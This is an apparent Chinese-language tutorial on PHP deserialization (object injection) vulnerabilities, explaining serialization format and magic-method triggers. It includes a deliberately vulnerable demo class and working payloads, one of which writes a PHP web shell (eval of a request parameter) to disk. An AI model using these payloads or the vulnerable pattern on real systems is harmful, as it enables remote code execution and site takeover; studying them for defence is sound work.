PHP反序列化漏洞是什么,其原理如何理解
Admin 2022-08-02 群英技术资讯 916 次浏览
这篇文章主要讲解了“PHP反序列化漏洞是什么,其原理如何理解”,文中的讲解内容简单清晰,易于学习与理解,下面请大家跟着小编的思路慢慢深入,一起来研究和学习“PHP反序列化漏洞是什么,其原理如何理解”吧!序列化说通俗点就是把一个对象变成可以传输的字符串。序列化过程中还会对不同属性的变量进行不同方式的变化
public的属性在序列化时,直接显示属性名
protected的属性在序列化时,会在属性名前增加0x00*0x00,其长度会增加3
private的属性在序列化时,会在属性名前增加0x00classname0x00,其长度会增加类名长度+2
反序列化就是把被序列化的字符串还原为对象,然后在接下来的代码中继续使用。
序列化结构

PHP反序列化漏洞也叫PHP对象注入,是一个非常常见的漏洞,这种类型的漏洞虽然有些难以利用,但一旦利用成功就会造成非常危险的后果。漏洞的形成的根本原因是程序没有对用户输入的反序列化字符串进行检测,导致反序列化过程可以被恶意控制,进而造成代码执行、getshell等一系列不可控的后果。反序列化漏洞并不是PHP特有,也存在于Java、Python等语言之中,但其原理基本相通。
未对用户输入的序列化字符串进行检测,导致攻击者可以控制反序列化过程,从而导致代码执行,SQL注入,目录遍历等不可控后果。
在反序列化的过程中自动触发了某些魔术方法。
unserialize函数的变量可控,php文件中存在可利用的类,类中有魔法函数
<?php
class demo{
public $name;
public $age;
function __destruct(){
$a = $this->name;
$a($this->age);
}
}
$h = new demo();
echo serialize($h);
unserialize($_GET['h']);
?>
payload
payload:(适用于destruct() wakeup())
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:9:"phpinfo()";}
传木马
O:4:"demo":2:{s:4:"name";s:6:"assert";s:3:"age";s:64:"fputs(fopen('shell.php','w'),'<?php eval($_REQUEST["cmd"]);?>');";}

我们可以看到当,创建对象之后,没有调用该__destruct()函数,该函数也自动执行,也就是serialize()函数和unserialize()函数销毁了对象,触发了魔法函数的执行。
大致过程:

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:mmqy2019@163.com进行举报,并提供相关证据,查实之后,将立刻删除涉嫌侵权内容。
猜你喜欢
冒泡排序、选择排序、插入排序、快速排序这四种PHP中经典的排序方式是经常能用到的,所以学习PHP一定要掌握这些。
今天小编就为大家分享一篇在TP5数据库中四个字段实现无限分类的示例,具有很好的参考价值,希望对大家有所帮助。一起跟随小编过来看看吧
今天小编就为大家分享一篇关于PDO::exec讲解,小编觉得内容挺不错的,现在分享给大家,具有很好的参考价值,需要的朋友一起跟随小编来看看吧
异常指的是程序在运行中出现不符合预期的情况,云溪发生,但属于一种不正常的情况,是本不该出现但仍出现的错误,属于逻辑和业务流程的错误,而不是编译或者语法上的错误。异常用于在指定的错误发生时改变脚本的正常流程。
这篇文章带你探究一下在php中什么为什么运算符===比==要快,文章中给大家介绍的非常详细,对大家的学习或工作都具有一定的参考价值
成为群英会员,开启智能安全云计算之旅
立即注册关注或联系群英网络
7x24小时售前:400-678-4567
7x24小时售后:0668-2555666
24小时QQ客服
群英微信公众号
CNNIC域名投诉举报处理平台
服务电话:010-58813000
服务邮箱:service@cnnic.cn
投诉与建议:0668-2555555
Copyright © QY Network Company Ltd. All Rights Reserved. 2003-2020 群英 版权所有
增值电信经营许可证 : B1.B2-20140078 粤ICP备09006778号 域名注册商资质 粤 D3.1-20240008